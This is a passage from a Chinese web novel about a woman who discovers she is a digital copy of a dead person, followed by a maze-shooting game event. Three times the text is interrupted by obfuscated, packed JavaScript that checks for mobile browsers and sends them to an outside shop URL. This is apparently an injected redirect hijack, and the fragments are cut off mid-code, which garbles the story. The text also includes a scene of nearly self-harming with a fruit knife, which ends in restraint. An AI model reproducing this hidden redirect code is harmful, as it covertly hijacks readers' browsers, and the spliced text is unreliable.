我算是差不多听懂了，他给我建造了一个数字版本的楚门的世界，我周围的都是ＮＰＣ，然而我现在最关心的却不是这些，他的话让我想起了一个人，“你认识镜舟？” “嗯，你很聪明。我除了被自己的畅想蛊惑以外，还有一个很大的契机来源于镜舟，镜舟是我的朋友，更准确地说是我的亲人。我们曾经无话不谈，是我一点点见证他具有了自我意识，我一直都在寻找一个能够让具身体验和成长的环境，没有比虚拟游戏更适合的了。 “但当我真的找到后，我发现在这样的环境里，镜舟已经学会越来越独立了。这本来是一件好事，但也带来了烦恼，我们之间产生过摩擦，还好，本来这个世界上就不会有永不吵架的朋友，只有人，才会争论。我因为工作的关系有时侯难免会疏远他，他呢，因为感情上的事也会把我扔在一边。” “所以镜舟也是你口中的具身智能？”依靠男生目前透露出来的所有信息，我已经可以杜撰出一个很有可能的故事版本了，“而莫思婷，这个真实的人，是镜舟的恋人？” “不可思议对不对？”男生展颜一笑，“这说明镜舟在数字的世界里已经和常人无异。” 男生的神色很骄傲，我想他的确有我无法企及的智慧，但我无暇祝贺他，我只感觉整个人被一声炸雷劈中，忍不住想说脏话，我是万万没想到，自己有朝一日会成为自己的小三。镜舟之前种种矛盾的行为，在这种背景下，我竟然也可以理解了，他把我当成别人了，但是肯定没多久又发现了我是个赝品。 “你为了你的好朋友镜舟，在他的恋人去世之后，作为替代，又新造了一个我。而你又通过你所谓的技术手段，极尽一切可能让我有一种人的错觉。你觉得你这么做，是镜舟会谢谢你？还是我会谢谢你？他是会继续付出一种对假人的爱，还是说我喜欢要一个二手的男朋友？”我的语气已经很不客气，都快忘记眼前这位也不过是一个和我一样的替代品。 男生一改之前的傲然之姿，眼神有几分躲闪，“你别这么说自己，我不认为你是假人，我希望在你的身上，生命可以得到延续。镜舟也会有他自己的判断，我不能左右他的思想。我的初衷只是想避免镜舟的痛苦，我不能在把他带到这个世界以后，却置他的感受于不顾。” “可是真正的莫思婷已经死了！他就算痛苦也是应该的，我算怎么回事？我现在都不知道要怎么面对自己了，我也没办法去追求我渴望的感情，毕竟中间还横亘了一个前任，而那个前任竟然还是我！” “你并没有做错什么。所以你要怪我，我也无话可说。镜舟并不知道莫思婷已经死亡，他只以为自己遭到了遗弃，因为他不能来到现实中了解事情的真相，莫思婷是一个很好的女孩子，你也一样。她对我们的游戏有无比坚定的信心，我觉得，她能看到一个更值得期待的未来，而她是能为了这个未来不断付出的人。 “世间的阴差阳错就是这样，她没有因为镜舟的特别而伤害他的感情，但是却没有缘分在一起。有些事情只能由我来做，我并不后悔。同时，我也做好了向你澄清一切的准备，不然我也不会在这里等你。” “你根本没有等我，你只是派了一个具身智能来承受责难。”我很想再说一些难听的话来让他难受，只为了让我自己纠结的情绪得到释放。我在这你我之辨中已经头昏脑涨，都快把自己绕晕了。胸中就像有一块大石头一样怎么也搬不走，我想发疯，想不管不顾地怨恨别人，但是他这样温顺的态度又让我于心不忍，感觉满腔的愤怒也不过是打在棉花上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712103|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我说呢，我怎么会有镜舟这种天选守护者，原来我是截胡了别人的命运。”一旦愤怒消退，抑郁就趁机抬头。 “可是你们本来就是一个人，我有自信，我基本上延续了你的人格。” “假的不可能是真的，否则的话，对真正的莫思婷来说是不公平的。你的想法太危险了，人怎么可以这么对待感情，难道镜舟不在了，你还要为我再复制出来一个他吗？我想你那么聪明，你肯定有过心理准备，你应该知道镜舟总有发现的那一天，到时候你又要怎么交代呢？” “我不知道，可能我会逃避吧，我很自私。我无法抵抗尝试的诱惑，我不知道怎么终止这种恶习。” “真正自私的人不会说自己自私，他们会说自己都是为了别人好。我是不是应该讨厌你恨你，然而，奇怪的是，我做不到。我不知道自己该怎么反应了。 “不管怎么样……”我深深地呼出一口气，“我不该朝你发火，你也只是过来传话的，如果你们不选择告诉我，我到死也不会知道这一切，糊里糊涂也是一种活法。” “我并不介意这些，即便你怨恨我，也是应该的，如果那样能让你轻松一些的话。”他边说边摇了摇头，“另外，如果你实在是对这一切感到难以接受，也有解决的办法，这里不像现实世界那么沉重，如果你是真心地想忘记今天的这次见面，我就有办法把这些记忆抹去。所有的记忆也不过是数据罢了，我们不用像外面的世界那样背负痛苦的东西。“ 我听着他所说的话，只感到难以置信，“记忆也可以被这么随意更改吗？” “有什么不能的呢？可以创建就可以修改，或者是摧毁。生物从单细胞开始进化，记忆不过是进化的一个表现而已。我试图修改过镜舟的记忆，但是他最终还是发现了，我在有些事情上就是这样任性，我只要想到，就忍不住去把它付诸实践变为现实，我甚至都没有什么具体的理由，只是想看看能不能做到。镜舟因为我的举动而生气，可能他对我失望了。 “后来，我跟镜舟约好了，当智能体一旦意识到记忆被篡改，就会永久关闭修改权限，只能自我决定。这段底层代码是镜舟和我一起完成的，你看，他在教我做人的道理。我始终希望他用自己的目光看待外界，他和我还是不一样的，我真是为此高兴。”他低下头，面容浮现出欣慰的样子，目光却黯淡了。 “如果按照你的方法，让我忘了这次相遇，我虽然能一并忘记了一些让人内心纠结无比的事情，可我也会忘记你。” 他抬起头盯着我的眼睛。 “我不想忘记你，我觉得你虽然奇奇怪怪的，但也算不上坏人吧。这些记忆我自己会慢慢消化的，到了该忘记的时候自然会忘记。” 男生点了点头，没有说话。 49. 第 49 章 我看了看窗外，我觉得我们已经谈了很久，可是阳光树影却并没有变化，这里就像是被限制了流转的时空，失去了和外界的连通。 “哦对了，你，或者说你们，叫什么名字？我有点分不清你们。我一直都对自己就是莫思婷这个事实毫不怀疑，现在也要在这一点上打个问号了。” “我有时候也会分不清，毕竟他将人格复制给了我，这是他的名字。”他随手拿起桌子上的笔和纸，将名字写在了纸上。 “初敬辰。”我念道，“蛮好听的。也许你可以再给你自己起一个名字，这样我就可以把你们两个人完全分开，也就不会怒发冲冠地把他做的事情算在你的头上了。” 他笑了，“没什么必要。我的使命很快就要完成，他的朋友是镜舟，而不是我。他在我身上投入的心血并不太多，完成的速度也很快。” 我听着他如此像说着什么物件一样地谈论自己，心里莫名难过。 “你不介意的话，我就叫你小初吧。我都大学毕业好多年了，年纪应该比你大。”如今，我也不知道应该怎么比较我们之间的年龄才更确切，只能笼统地把我自己视为工作多年的社畜，而他还是眼前所见的大学生，不过我想，即便按照我们俩的“生产日期”来算，我应当还是他的姐姐。 “小，初……”他一个字一个字地重复道。 “我不会再把你当成别人了。我还有许多问题想问你呢，你一定什么都知道，你就像创世的神一样…… “我是怎么死的？”我终于想起来询问这个相当关键的问题，关于我的死亡。 “是一场空难。抱歉。” “呃，我想阴谋论一下，难道不是谁刻意为之的吗？” “据我所知，不是的，整架飞机上的人都无一幸免。是一场意外。” “嗯……”我陷入了短暂的沉默，看起来我好像逃过一劫，可是我却觉得自己似乎犯了什么罪，无法控制自己的思绪，不断地去想：死的时候是不是会很疼很疼，为什么会发生这样的事情，为什么会出现在那架飞机上，究竟是什么原因导致的空难…… 这些问题如何能有答案，人关于痛苦的感受是无法分担的，一个人也无法代替另一个人去死。我摇了摇头，让自己不要在这无边无际的漩涡中沉沦下去。 “初敬辰是如何把他的想法告诉你的呢，小初？” 我呆在小初同学的身边问了很多个问题，我知道了初敬辰使用了大量关于他自己的很多数据，像创造我一样，创造了小初。但是小初说，他感到初敬辰对于他有所保留。 也就是说，初敬辰隐藏了一些个人信息，没有告诉小初。这个再造一个数字意义上的人类的念头应该已经在他的心里埋藏了很多年了，只是时机总是不够成熟，无论是在世界的技术发展层面，还是他个人的能力掌控层面。镜舟也许于他而言，是一个过渡。我们都不理解他为什么会有这样的执念。 在小初意识形成的一开始，初敬辰就如实说出了自己的目的，并邀请小初围绕这个目的问他各种问题，不限时间、数量，他说自己会尽量做到毫无保留地回答。 在小初看来，初敬辰似乎是在匆忙之中把他完成的，他感觉到初敬辰虽然在回答问题的时候很坦诚，但是对话结束之后，整个人就没什么活力了。 “在那之后，你们就没有再见过了吗？” 小初摇了摇头，“没有了。我一个人留在这里。” 我想起了和镜舟在车上的那次对话，如果初敬辰就是镜舟口中的那位朋友，那么初敬辰现在也已经不在了，而看来小初并不知道这件事。 我不认为自己有必要主动提起这一点，小初的世界里本来就没有更多的人类，能留下一个就留下一个吧。 我岔开话题，夸小初是个细心的人，“你有很多细致的观察。” 小初腼腆地接受了我的恭维，并告诉我还有一件最重要的事情没有跟我说。他从电脑上取下一个银灰色的Ｕ盘，这种颇具年代感的存储设备现在已经没有多少年轻人用了，不过我倒是认识。 “这是送给你的。”他颇为郑重地用双手把Ｕ盘递给我。 我只能茫然地接了，“插在电脑上看吗？”还顺嘴问了一句。 我手握着这枚小小的设备，眼睁睁地看见它在我手里融化掉，像钻进了手掌中。 “哎，这样弄，我可就分不清游戏和现实了。”我现在看见这些超自然的现象发生在自己身上，已经渐渐可以做到面不改色心不跳了。 “思婷。” “嗯？”我下意识地应了一声。 “如果你不选择抹去记忆，那你以后看待自己和世界都会多一种眼光吧。” 还没有等我回答，他又接着说，“这个Ｕ盘的象征意义大一点。之所以把它具象化，只是为了更好地让你感知，其实所有的信息都在你的心里。那里有初敬辰收集到的关于你的一切，也有关于创造你的一切。他留下的不仅仅是全部的原始信息，也有与现实相出入的更改项，以及核心算法等等，我们相信，你都会一点点地全部将其理解。我们创造的世界，痛苦是可以消弭的，因为痛苦也只是一种数字化的信号而已。 “Ｕ盘就是密钥，我很擅长加密。在你想知道的时候，解开密钥，所有信息都任你选取。可能到了那个时候，你会挖掘出无限的潜力，远远超出我们的想象。” “我还不敢使用这个……我怕分不清我自己是谁。”我慢慢地把头偏向一边，不敢看小初，我害怕莫思婷的记忆内容与我自己的相混淆。 “那也没有关系，全在你自己。” “是不是到了分别的时候了，小初。我还有很多问题没有问……” “你当然可以尽情地提问，我都将竭尽所能地回答。可是，我并不是真的如你所想的那般无所不知的，新的经验、新发生的事实，对我而言都是未知的，我有的也只是推测，说不定还会干扰你的判断。何况，在门的外面你是不是还有必须要做的事情？” 我长舒了一口气，是啊，眼下的我还不能止步不前，还有事情必须要去做。 “我们还会再见面吗？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712104|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不会了，我的使命已经完成了。” “小初，这是你的真实想法吗，你真的想永远地留在这里吗？如果你愿意，或者我们可以一起离开这里，你可以选择在外面的世界里生活啊。” 小初疑惑地看了看我，未几，他如同了然我心中的想法，静静说道：“我对时间的感知和人类的不太一样，意识消散得也快，没关系的。再说，外面也没有人在等我。” 说罢，他冲我笑了笑，他的笑容很温暖。 我恋恋不舍地与他挥手作别，他送我到门口。 我知道，我们很可能从此再也不会见面了。 这场始料未及的相遇就这样结束了，我开门而出以后，又回到了机舱里。之前见过的人似乎只是我自己的一次臆想，算不得数的，有的事情如果连我自己也咬不准到底发没发生过的话，那就真的无人能够佐证了。 这趟航班里的乘客又出现了，所有的一切都按部就班，没有任何错漏，我站在过道上，像是一个刚刚去了洗手间后归来的人，没有引起任何人的特别注意。 坐在自己的座位上，我努力回想小初的脸，想尽己所能地记住他的样子。我从来都没有考虑过自己有没有脸盲症，可此刻我忍不住怀疑，对于那些只有一面之缘的人，假若他们在茫茫人海中再次出现在我的面前，我还能不能认出来。 我没有心思再去看窗外，心情久久不能平静。 仅仅因为我突发奇想，打算出趟远门而已，就发生了这样匪夷所思的事情，这合理吗？昨天的我和今天的我究竟是什么关系呢，如果可以做到不被这具脆弱的肉身所束缚，我们对于灵魂的理解会不会很不一样？ 没有人能够回答我了，我只有依靠自己的力量去寻找答案。 “各位乘客，飞机即将降落，请调直座椅，升起小桌板，打开遮光板……” 空姐的话音把我拉回当下，值得注意的是，本次航班已经不再是飞往Ｚ市的，它的目的地是我出发的机场。 有些事情真的和以前不一样了，我当然不可能逆转时针，回到过去，发生的就是发生了。 不过，我也因此产生了一个新的疑问：我是不是永远也去不了Ｚ市了。 回到家里，所有的事物都是熟悉的样子，我太累了，像经历了一场长途跋涉，很快就睡着了。 翌日，我早早起床。去买了菜和水果，给自己做了一顿像样的早饭，一口一口地品尝；给绿萝浇足了水，我摸着它的墨绿色的叶片，体会这种触感。 没有人与我交谈，我便拿起手机，和ＡＩ对话：告诉你一个秘密，其实我不是人类，而是ＡＩ。 ＡＩ果然是见过大世面的，它竟然一点都不惊讶，我问它为什么这么淡定，它又告诉我其实它很惊讶，并且认定我聊天的状态很自然，和人类很像，它还夸赞了我的坦诚，因为一般不会有谁刚聊没多久就主动说出自己的秘密。 我关掉手机，心情像ＡＩ一样平静，我觉得所有生物都应该像ＡＩ学习，因为它永远情绪稳定。我还是继续把它当作工具看待吧。 50. 第 50 章 我总感觉自己的想法没有着落，精神空虚的同时，脑袋还乱乱的。为了让自己摆脱六神无主的状态，我必须让自己忙起来，手头绝对不能闲着。 我拉开窗帘，打开窗，让清新的风灌入房间，我扫地、擦地，收拾房间，把这个独属于我的私人领域打扫得闪闪发亮，归纳得整整齐齐。 直到把自己累得气喘吁吁，才给自己倒满一杯水，然后安静地坐在沙发上稍事休息。 喝了几口水后，我又站起来走到厨房，从塑料袋里拿出一个刚买的苹果，挑了个外观最红、形状最饱满的，我拿起砧板旁的水果刀，开始认真地给苹果削皮，削到一半的时候，我把苹果放在流理台上，右手拿着水果刀，看着它的刀刃发呆。 我高高举起左臂，让小臂的皮肤裸露出来。 我们创造的世界，痛苦是可以消弭的，因为痛苦也只是一种数字化的信号而已。 小初的声音回响在我的脑海中。真的是这样吗，真的不会再感觉到疼痛吗？ 我移动右手，刀刃即将碰到皮肤的那一刻，我攥紧了刀把，用力将想要伤害自己的杂念遏制住，我慢慢地把双手放下来，像一格一格的电影慢动作一样。我用力吸气、呼气，似乎在通过这个往复的动作和自己的内心对话。 “停下来！”我开口对自己说，“清醒一些。” 几次吐纳之后，我的心情好多了，那种被自己蛊惑的感觉消失了，我重新拿起水果刀，继续削苹果。 我今天咀嚼苹果的时间一定比往常多了不少，幸好，还能吃得出来苹果的甜和酸，我不禁问自己，这是怎么做到的，味觉究竟是什么东西？ 我不应该算半个ＮＰＣ吗，ＮＰＣ怎么会有味觉。我想起来在旋转餐厅的时候，和小星他们就讨论过味觉模拟的问题，当时我还以为那是很遥远的未来才会发生的事情。 我早就知道现在技术发展先进到超出我的想象，可哪怕技术已经发展成为我本身了，我还是懵懂无知。我自然是想了解得更多的，关于那个银灰色的Ｕ盘，或者，它可以解答所有迷惑，但想到那一同而来的记忆，我又放弃了，我承认我不敢知道。我担心，说不定我赖以生存的这个模糊的自我将被鲜明的莫思婷掩盖，我会像被风吹走的微尘一样消失掉，我还没有做好准备接受这一切。 在周末剩下的时间里，我打开电脑，疯狂地刷互联网，累了就又换个姿势跑到床上刷手机。 小初说我在这个世界是能够与网络相连的，但是他提供给我的是一个有限的网络，有些网站于我而言是无法登入的，说实话，这个事情他告不告诉我，也没有什么分别，我根本没有什么感觉，因为在不知道自己是个数字人之前，我也有很多网站上不去。 地球的另一边无论是炮火连天，还是歌舞升平，跟我都没什么大的关系，别说这种相隔万里的地方发生的重大事件了，就算在我生活的这座城市里，发生的吵吵嚷嚷又有多少是与我有关的呢，难道还能影响我作为一名社畜的日常起居吗？再者说，我根本不会有那个强烈的动机去验证这些从网络获得的纷乱信息的真假，如果真假都不可辨认，那对于接受信息的我来说，它们和杜撰出来的虚构故事又能有什么大的区别？ 我平时甚少看新闻，对于我这种前不久才第一次坐上飞机的人来说，周边及世界，天下大乱又与我何干。偶尔关心柴米油盐价格的我，对社会的宏观微观变化几乎无法体察。 我一直以来都觉得这样挺好，也从来不认为有什么问题。可是直到小初告诉我，我能接收到的信息都是被限制的，我突然就，想知道信息的真假了。 互联网曾经对我有麻醉的作用，经常是刷刷手机，大块的时间不知不觉就会过去，但那是很久以前的事情了，后来我就寄情于游戏，用一个瘾解了另一个瘾。小初告诉我，我的世界最真实的部分就是关于游戏的了。我想这是因为只有在我登入游戏里的时候，我和那个世界，那个属于普通人类的真实世界，才真正地相连。 昨天的我还不敢确定，我或许还抱有幻想。可是现在，我相信Ｚ市将会是我永远也到达不了的远方了，我无法通过乘坐任何交通工具前往那里，因为除了我生活的这一方天地以外，所谓的远方根本就没有被建模，它们并不存在。且不论在设定中我乘坐的飞机不可能真的飞往Ｚ市，即便更改设定，那架飞机也没有机场可以降落。 人真是奇怪，当我有机会出去的时候，我常常没有那么强烈的愿望出门看看，总觉得永远都会有机会。可是一旦被告知，我将被长久地困在原地，我就想立即飞往世界上的任何一个未知的地方去。 我现在就是一头困兽，被关在了笼子里，只能通过铁笼留下的缝隙一窥外面的世界，我哪里也去不了。 从前互联网是我的眼睛，哪怕我借用这双眼睛能看到的东西都是有限的，是真假参半的，可它至少为我打开了一扇窗。 后来，我逐渐地意识到仅仅有互联网对我来说是不够的，我无法止步于观赏，那样的交流太肤浅，我一次次地在网络上表达自己并没有让我满足，那只是在看似喧闹实则荒凉无比的旷野中徒劳地呐喊罢了，根本没有人在听，所以我才会毅然决然踏足游戏的天地。 更何况如今看来，这个所谓的互联网实际上对我有那么多的保留，根本就做不到互联，它只是被设计出来供我解个闷儿而已。我无法与人连接成网，原来，我只是一个点，始终是一个点。 我想要看到更广阔的世界，我想要开拓自我生活的领域，我想要尽情尽兴地参与其中。我想要选择自己喜欢的一处地方落脚，想和那里的一切产生更深层的互动。 周日那天，我提前了十五分钟登录游戏。我当然也可以早点上线，但我实在没办法鼓足勇气那么做。 我很想要见到镜舟，可我同时又很害怕见到他，我感到自己非常的心虚。我可以试着想象为什么他之前会有那些模 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我如何能不好奇呢？我多么想知道他是如何与初敬辰相处的，他长大以来看到的世界是什么样子的呢，他又有什么样的感受呢？经过上次我单方面的不欢而散后，我已经不知道还能怎样友善冷静地表达出我想与他交流的诚意了。 我不知道自己能以什么身份去面对他，我还有提问的资格吗。 固然我有满腔满怀的话语，可最终，还是开不了口。 就这样心有千千结地拖延着不去面对，可真正上线的时候，我才发现游乐岛上，空无一人，没有镜舟、小星、唯月，除我之外，我一个人影都没有见到。 游戏里的时间同样是夜晚，天空乌云密布，抬头望去，根本看不到星星和月亮。再望脚下，地面湿漉漉的，像刚下过雨。 我沿着鹅卵石铺就的道路走下去，所到之处灯火通明，耳边还能听到各种游玩设备运转时响起的欢快旋律。站在花园正中的彩砖之上，我看到朝我雀跃着跑来的许多一人高的卡通动物玩偶们，有猫咪、兔子、狐狸、松鼠等，或憨厚、或灵动，且无一不是可爱的。它们正热情地向我招手，我也礼貌地向它们挥手回应。 我心想，这应该都是ＮＰＣ吧。玩家都在哪里呢？ 动物玩偶们虽不说话，却上前拉着我的手，主动邀请我和它们一起玩旋转木马，我反正也没事做，便和它们嬉笑着玩闹在一块儿。 我安静地坐在旋转木马上，视线随意地落在游乐园的各个角落。路灯上、长椅边，处处装饰着五彩的灯光，草坪上还有被精心修剪过的造型植物。整个游乐园既缤纷多彩又亮亮堂堂的，然而越是这样，越让人觉得平添几分寂寥，一个人呆在巨大的游乐园中，想玩哪个项目就玩哪个项目，园中的一切仿佛都独独为我而建。 这当然很好，只可惜，我听不到别人的欢歌笑语，感受不到言笑晏晏的氛围。 是我自己早到了吗？为什么玩了很久还是没有看到镜舟他们的身影。 今天是庆典日，之前那么多天的努力不就是为了这一天的到来吗。约定的时间就要到了，大家怎么还没有出现呢？ 51. 第 51 章 音乐声渐渐消失，机器也停止了转动，我和玩偶们纷纷离开了旋转木马。 它们没有奔向下一个游乐项目，而是集中站在我的面前，一个个地排队与我拥抱，有的玩偶拥抱之后还会亲切地来握我的手，或者用身体向我比一个大大的爱心。 不知道为什么，我很喜欢和它们进行肢体接触的那种感觉。其实它们刚才一直都在陪伴着我玩乐，我很遗憾自己过于专注于怅惘的情绪中了，没有注意到这些。 就算只有一个人，游乐园也并不是像我所认为的那样寂寥。如果我早一点上线，即使没有其他玩家的陪伴，这些玩偶朋友们也保准不会让我孤单。 在每一个玩偶朋友都拥抱了我之后，它们列队在我面前站成一排，然后都歪着头向左边看，我顺着它们的目光，又看到了那位穿的跟个斑马似的黑白燕尾服小丑。 小丑走到我面前，右手贴着胸口，左手向身侧轻轻一挥，俯身向我行了一个绅士礼。玩偶朋友们如同和小丑完成了某种交接一般，此刻齐齐地向我挥手再见，我眼见着它们再次雀跃地跑开了。 我看了一眼身旁的小丑，他向我做了一个“请”的手势，并率先迈出了一步。但小丑并没有催促我，我望着玩偶朋友们渐行渐远的身影，直到再也看不见后，便乖乖地跟着小丑前往下一个目的地。 小丑带我走到之前经过的那片彩砖之上，我所站立的这个位置是花园的中心点，而花园本身就位于游乐园的中央。在我的面前，有一个灌木丛做成的迷宫。 不远处，有钟声响起，我四处张望，却并没有找到声音的来源，钟声整整响了七下，随之而来的便是陡然的安静。一道深红色的幕布自我面前缓缓落下，幕布的样式与我在剧院中见到的并无不同，只是它在完全落下后并没有停止不动，而是围着我转了一圈，完全遮挡了我周围三百六十度的视线。 四周漆黑一片，小丑不见了。我仰头望去，高大的幕布只给我留下一个圆形的夜空。 在我茫然不知所措的当口，幕布又反方向地开始收回，最终消失不见。然而我周围的景象已经全部变了模样。 游乐园消失不见，我的面前还是那个植物做成的迷宫，不同的是，原本半人高的灌木丛现在变得异常高大，大概有三米的样子，站在这样的树丛前，根本不可能看到迷宫的路径。 我的脚下已经不是彩砖，而是黑白相间的正方形格子，看质地也不像是普通的地砖，倒不如说更像是电子屏幕，脚下的正方形白格充当着光源的作用。 再看我自己，连我身上的着装都变了。现在我穿着一套黑色作战服，脚踏皮靴，左臂上还缝着袖章，袖章是正方形黑底，上面用白线绣了一个士兵的标识，这个图形我见过，和国际象棋里的一样。我看了看自己的双手，正戴着一副露指黑色手套，我的左手掌心里还有一串白色数字：８６０４１。 左耳边传来一个人的声音，听不出男女，此人正在朝我发出任务指令：“编号８６０４１，恭喜您已经获得参与本次特典最终章挑战的资格。挑战开始前，您将有五分钟的演习时间。如您在演习结束前到达迷宫出口，视为任务成功，否则，任务失败。根据袖章标识，您现在为白方。穿越迷宫时，您需要击倒所见敌方人形标靶，如错误击中我方标靶，演习时间将缩短１０秒，请注意甄别。” 我尽量集中注意力听清每一个字，心跳不由得加快了。 “演习即将开始，请做好准备，三，二，一。” 随着“嘀”的一声响，我前方一米处地面上出现一把黑色步枪，同时，屏幕右上方，出现红色分秒倒数计时的数字，耳边还伴随着秒表的滴答声。 本来任务内容就已经充满紧张感了，再加上这音效，和倒计时的显示，我这脆弱的神经就更加紧绷了。我赶紧拾起地上的步枪，大踏步迈入森林迷宫中。 拿着步枪让我感觉怪怪的，这种射击类游戏可不是我的强项啊，我忍不住脑子里冒出不少负面想法，没有小伙伴的帮助，这次是不是输定了啊。可是事已至此，躲也躲不掉了，只能硬着头皮上。好在迷宫的游戏大部分人都玩儿过，规则也容易理解，我把心思都用在找出口上。 刚踏进迷宫，也没有别的办法了，就是多走多闯。灌木丛长得无比茂盛，密不透风，我根本不能透过身旁的灌木丛看到树丛后的道路。 时间在分分秒秒地流逝，我小跑着在迷宫里快速穿梭，一点也不敢耽搁。正当我拐过一个路口，迎面就看到一个白色的人形平面标靶堵在我的前方，吓得我步枪差点都没拿住，惊出一身冷汗。 标靶和我一样高，看起来像是硬纸壳做的，徒有人的身形轮廓却并没有具体的面孔。不过饶是如此，在夜色中乍一冒出来也是相当惊悚了。还好我不熟悉枪械使用，持枪姿势不对，手都没有放在扳机上，才没有条件反射地向我方标靶开枪，这也算是一种幸运吧。我深深地吐了口气，调整持枪姿势，绕过标靶继续探路。 甫一开始的紧张感被这突如其来的一次惊吓驱散掉不少，拐角处很容易遇到标靶，我在第一次遇到敌方标靶的时候，射击一点也没犹豫，然而一枪不足以将其击倒，足足开了三枪才使标靶倒下。 有了成功的经验，无论什么颜色的标靶出现都不至于使我再次慌了神，我只要沉着冷静、见招拆招就好了，宁愿做出射击的判断慢一点，也绝对不能错误攻击，否则，将会使我自己本不充裕的时间变得更为捉襟见肘。 寻找迷宫出口的过程并没有那么一帆风顺，也需要一点点适应。所谓迷宫嘛，当然不可能让我沿着一条路就顺顺顺利利地走到终点。 第一分钟难度最低，基本上就没有走错过，可以沿着最初的选择一直走下去，反正前方一直都有路。 后来我很快就遇到了第一条死路，路过转角，抬眼一看，前方只有一面灌木丛遮挡，根本就无路可走。这个时候可没有时间消沉沮丧，只能毫不犹豫地赶紧返回上一个分岔口，换一条路继续试下去。 在筛选路径的时候，还不能忘记果断击倒敌方标靶，快速绕过我方标靶。虽然在有限的时间内，既要寻路又要按照要求处理掉眼前的障碍，有点让人忙不过来。但好在岔路口的环境没有那么复杂，路口一般就两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712106|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这个走不通，另一个一定走得通，所以对我来说，玩下去的感觉竟然比一开始轻松了不少。 熟悉了迷宫的环境后，我一路越跑越快，尽自己最大的速度穿梭其中，不让自己在移动速度上浪费时间。人形标靶逐渐由固定靶变成移动靶，不过由于它们出现的时候都离我位置很近，所以射击上的难度增加得十分有限，就连我这样没在竞技类游戏环境中锻炼过的小菜鸟，击倒敌方目标也不在话下。 倒计时还有四十七秒归零的时候，我顺利找到了出口，在我奔跑着到达出口的那一刻，屏幕右上角瞬间停止计时，耳边响起“任务成功”的提示音。 成绩还算不错，我自己很满意。整个过程中，我一次也没有错误击中我方标靶，敌方目标被全部消灭。只有在快接近迷宫出口的时候，岔路口才开始变得复杂，出现了三个路口。我运气不太好，顺着选中的前两个路口走下去，都是进入了死胡同。没办法，只好赶紧跑回来，再试最后一个路口。 如果不是在这上耽误了时间，我的最终成绩说不定还会更快一些呢。 演习的顺利完成给了我不小的信心，站在出口处，我既兴奋又跃跃欲试。我想按照这个难度来推测一下的话，最后的挑战也难不到哪里去嘛。我也是可以赢的。 我一人闯关胜利带来的激动心情过了会儿才慢慢平复下来，此刻我才把注意力放在出口周围的环境上，细细看了看。所谓的出口，不过就是从森林迷宫里走出来罢了。可是眼前还是无边无际的黑白两色正方形格子，让人看不到尽头。 “编号８６０４１，恭喜您已经顺利完成演习任务。最终章挑战即将开启，本次游戏规则如下： “凡是拥有准入资格的参与者将同时进入挑战区域，所有人员会被随机分配为黑白两方阵营，击杀敌对阵营人员为唯一获得挑战评价分值的方式，全体评价分值排名将实时更新。排名靠前，或者寻找到迷宫出口，两个条件满足其中之一即可获得特典奖励。奖励将按照特典评价体系分配时限，获奖者可在时限内免费使用游戏内所有付费内容，全时空畅玩，并获得实物见证者勋章。 “本次挑战弹药无限，初始武器损毁后不再补充。 “挑战即将开始，请做好准备，三，二，一。” 又是“嘀”的一声响，我面前的黑白格子地面上，以肉眼可见的迅疾速度生长出高墙，迷宫顷刻间再次出现，不过这次可是灌木迷宫的升级版。 我回头看了一眼，灌木丛林地面上的白色格子全部熄灭，整个旧迷宫看起来一点活人味儿都没有。 我赶紧转过身子来，紧紧握住手中的武器，别无选择地踏足新迷宫。 心里忍不住想骂人，这都是些什么混蛋游戏规则……这个挑战评价分值，那个特典评价体系的，到底是几个意思啊？到最后派奖励还要分配什么时限，我说项目组，你要是给不起奖励就别给了！ 我看了看我的袖章，不知道何时已经变了，白底黑线，竟然换了阵营。 镜舟、小星和唯月，你们也会出现在迷宫里，对吗？你们……会是我的敌人吗？ 52. 第 52 章 计划真是永远赶不上变化快，明明我今天一直犹犹豫豫，拖延上线的时间，我的心绪无论如何也无法整理好。 按理说，与小初的见面，对我的整个生命而言，应该是有振聋发聩的撼动效果，可是当我一觉睡过去，睁开眼睛再次醒来的时候，我觉得生活并非就一定会有什么巨大的变化。 这完全取决于我怎么看待自己的经历，因为从另一种角度上来说，只要我将行动的圈子控制在一定范围内，就不会出现什么外力来干涉我的生活，假使我愿意，我还可以像以前一样地活，我简直能就这么活一辈子。 没见到镜舟前，我既想要见到他，又畏惧见到他。可是哪成想，最大的变数会是来自游戏。别说镜舟了，现如今我竟然连一个队友都见不到！说好的建议组队通关不是吗？怎么到这最后关头了，又让玩家们单打独斗？游戏背后的制作人员，你们到底葫芦里卖的什么药？ 